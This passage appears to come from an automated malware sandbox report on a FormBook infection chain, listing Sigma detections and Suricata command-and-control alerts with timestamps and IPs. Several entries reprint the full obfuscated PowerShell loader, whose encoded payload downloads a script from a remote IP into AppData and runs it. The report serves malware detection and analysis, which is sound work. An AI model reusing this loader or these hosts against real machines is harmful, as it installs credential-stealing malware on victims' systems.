gICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5144, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , ProcessId: 6552, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEl

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5144, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , ProcessId: 6552, ProcessName: wscript.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5144, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline", ProcessId: 4796, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5144, TargetFilename: C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5144, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , ProcessId: 6552, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5144, TargetFilename: C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))", CommandLine: POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpO

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5144, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline", ProcessId: 4796, ProcessName: csc.exe

Suricata Signatures

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T07:38:33.206592+0100	2049038	1	A Network Trojan was detected	151.101.1.137	443	192.168.2.5	49713	TCP

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T07:39:16.123094+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49815	208.91.197.27	80	TCP
2024-12-13T07:39:41.504805+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49874	3.33.130.190	80	TCP
2024-12-13T07:39:56.474963+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49913	3.33.130.190	80	TCP
2024-12-13T07:40:11.731625+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49948	104.21.31.249	80	TCP
2024-12-13T07:40:27.067869+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49991	3.33.130.190	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T07:39:33.797079+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49851	3.33.130.190	80	TCP
2024-12-13T07:39:36.031275+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49861	3.33.130.190	80	TCP
2024-12-13T07:39:38.703333+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49868	3.33.130.190	80	TCP
2024-12-13T07:39:48.397723+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49890	3.33.130.190	80	TCP
2024-12-13T07:39:51.451839+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49896	3.33.130.190	80	TCP
2024-12-13T07:39:53.686100+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49906	3.33.130.190	80	TCP
2024-12-13T07:40:03.655139+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49929	104.21.31.249	80	TCP
2024-12-13T07:40:06.311331+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49935	104.21.31.249	80	TCP
2024-12-13T07:40:08.983058+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49941	104.21.31.249	80	TCP
2024-12-13T07:40:18.630100+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49968	3.33.130.190	80	TCP
